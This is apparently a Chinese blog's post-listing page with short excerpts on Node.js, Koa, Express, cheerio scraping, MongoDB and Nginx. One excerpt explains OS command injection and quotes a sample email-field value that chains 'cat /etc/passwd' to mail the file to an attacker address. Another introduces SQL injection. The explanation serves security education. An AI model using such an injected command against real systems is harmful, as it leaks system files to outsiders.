自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

原创 JavaScript高级程序设计(第3版)中文在线阅读,也可以免费下载~

在线阅读地址:http://www.chinastor.org/upload/2014-12/14122310427265.pdf 百度网盘:https://pan.baidu.com/s/1hsZUXzm 密码:nlul

2018-05-31 15:02:44

阅读数 4960

评论数 1

原创 【JavaScript】ES6中的箭头函数是什么?

正如其名,箭头函数由 “箭头”(=>)这种新的语法来定义。 箭头函数的特点 没有 this,rguments 绑定 -,this,argumentst 的值 由最近的不包含箭头函数的作用域决定。 不能被 new 调用 - 箭头函数内部没有 [[Construct...

2018-05-31 13:32:04

阅读数 186

评论数 0

原创 【nodeJs】koa路由处理----koa-router 模块

原生路由 网站一般都有多个页面。通过ctx.request.path可以获取用户请求的路径,由此实现简单的路由。 index.js const Koa = require('koa'); const app = new Koa(); const main = ctx =&amp...

2018-05-30 22:28:27

阅读数 1712

评论数 0

原创 【koa】koa入门,一个最简单的koa demo

const Koa = require('koa'); // 创建一个Koa对象表示web app本身: const app = new Koa(); // 对于任何请求,app将调用该异步函数处理请求: app.use(async (ctx, next) => { ...

2018-05-30 21:21:34

阅读数 584

评论数 0

原创 【nodeJs】URL模块

此模块用于解析URL,你可以通过require(‘url’)来使用它。 由于各URL 不尽相同,经过解析的URL 对象有如下部分或者全部的属性(域)。 比如一个URL: ‘http://user:pass@host.com:8080/p/a/t/h?query=string#hash‘,他经过...

2018-05-28 16:37:56

阅读数 289

评论数 0

原创 【nodeJs】Node.js中的全局对象

前言: JavaScript 中有一个特殊的对象,称为全局对象(Global Object),它及其所有属性都可以在程序的任何地方访问,即全局变量。 在浏览器 JavaScript 中,通常 window 是全局对象, 而 Node.js 中的全局对象是 global,所有全局变量(除了 glo...

2018-05-28 12:17:30

阅读数 153

评论数 0

原创 【nodeJs】fs文件模块

Node.js 文件系统(fs 模块)中的方法均有异步和同步版本,建议使用异步方法,比起同步,异步方法性能更高,速度更快,而且没有阻塞。 本文只列举了一些常见的文件操作,更多请看官网:https://nodejs.org/api/fs.html#fs_fs_rename_oldpath_newp...

2018-05-28 11:38:39

阅读数 109

评论数 0

原创 【nodeJs】用cheerio写一个爬虫吧

爬取Cnode社区的文章 用到的模块:express cheerio superagent superagent(http://visionmedia.github.io/superagent/ ) 是个 http 方面的库,可以发起 get 或 post 请求。 cheerio(https:...

2018-05-27 15:13:56

阅读数 128

评论数 0

原创 【nodeJs】cheerio

cheerio是什么? cheerio(https://github.com/cheeriojs/cheerio ) 大家可以理解成一个 Node.js 版的 jquery,用来从网页中以 css selector 取数据,使用方式跟 jquery 一样一样的。 var cheerio = r...

2018-05-27 15:02:57

阅读数 142

评论数 0

原创 【nodeJs】用nodeJs实现一个简单的前后端交互的例子

实现效果图: Ajax知识补充: 1,创建XMLHttpRequest对象: var xmlHttp = new XMLHttpRequest(); 2, 向服务器发送请求: xmlHttp.setRequestHeader(header,value) //向请求添加ht...

2018-05-27 12:46:26

阅读数 5526

评论数 1

原创 【nodeJs】小任务2

任务:当在浏览器中访问 http://localhost:3000/?q=alsotang 时,输出 alsotang 的 md5 值,即 bdd5e57b5c0040f9dc23d430846e68a3。 var express = require('express'); var app = ...

2018-05-26 14:47:20

阅读数 48

评论数 0

原创 【nodeJS】一个最简单的express程序

执行npm install express 安装好express后就可以使用express框架了 下面是一个最简单的express程序 var express = require('express'); var app = express(); // request 中包含了浏览器传来的各...

2018-05-26 12:57:46

阅读数 165

评论数 0

原创 牛客网练习赛18 最大乘积

#include<stdio.h> #include<math.h> int main () { int t; scanf("%d", &a...

2018-05-22 21:54:48

阅读数 167

评论数 0

原创 【nodeJs】 Connect自带的中间件,会话管理、cookie解析、请求主体解析、请求日志等。

connect自带中间件 中间件组件 介绍 cookieParser() 为后续中间件提供 req.cookies 和 req.signedCookies bodyParser() 为后续中间件提供 req.body 和 req.files l...

2018-05-14 15:03:32

阅读数 114

评论数 0

原创 【nodeJs】connect中间件的简单使用

Connect是一个框架,它使用被称为中间件的模块化组件,在Connect中,中间件组件是一个函数,它拦截HTTP服务器提供的请求和响应对象,执行 逻辑,或者结束响应,或者把它传递给下一个中间件组件。Connect用分派器把中间件“连 接”在一起。 工作机制:在Connect中,中间件组...

2018-05-12 22:47:14

阅读数 195

评论数 0

原创 【NodeJS】mangoose模块

mangoose基础和常用操作 什么是mongoose?mangoose是node中的一个模块,属于MVC中的M,是MongoDB的模型工具 mangoose中的概念 Schema(模式,概要):以文件形式储存的数据库模型骨架,没有对数据的操作能力 Model(模型):由Schem...

2018-05-11 11:38:35

阅读数 193

评论数 0

原创 【Web技术攻击】OS(Operating System)命令注入攻击

OS命令注入攻击是指通过Web应用,执行非法的操作系统命令达到攻击的目的OS注入攻击案例:以表单的发送功能为例,该功能可将用户的邮件按已填写的对方邮箱地址放过去。 攻击者将下面的值指定作为邮件地址: ; cat /etc/passwd | mail hack@example.jp 程序接收该值,构...

2018-05-06 22:41:31

阅读数 1459

评论数 0

原创 【Web的攻击技术】SQL注入

相关概念 SQL是用来操作关系型数据库管理系统(RDBMS)的数据库语言 SQL注入是指针对web应用使用的数据库,通过运行非法的SQL语句产生的攻击 SQL注入攻击案例 正常处理:URL的查询字段指定q=上野宣,这个值由web应用传入到SQL语句中,构成了下面的SQL语句 SQL注入:吧刚才查询...

2018-05-06 21:44:59

阅读数 108

评论数 0

原创 利用.bat批处理mongodb启动命令

回顾一下,如何用cmd命令窗口开启mongodb数据库,命令如下: 开启mongodb数据库 cd D:\Program Files\MongoDB\bin 这是你数据库的目录 mongod -dbpath "XXX" XXX是你数据存放的目录这样每次启动数据库...

2018-05-06 09:44:49

阅读数 479

评论数 0

原创 Nginx启动报错: Job for nginx.service failed because the control process exited

在安装nginx完成后执行:service nginx start后报错:Starting nginx (via systemctl): Job for nginx.service failed because thournalctl -xe” for details.这是centos7下的一个...

2018-05-05 18:00:25

阅读数 6013

评论数 0

提示
确定要删除当前文章?
取消 删除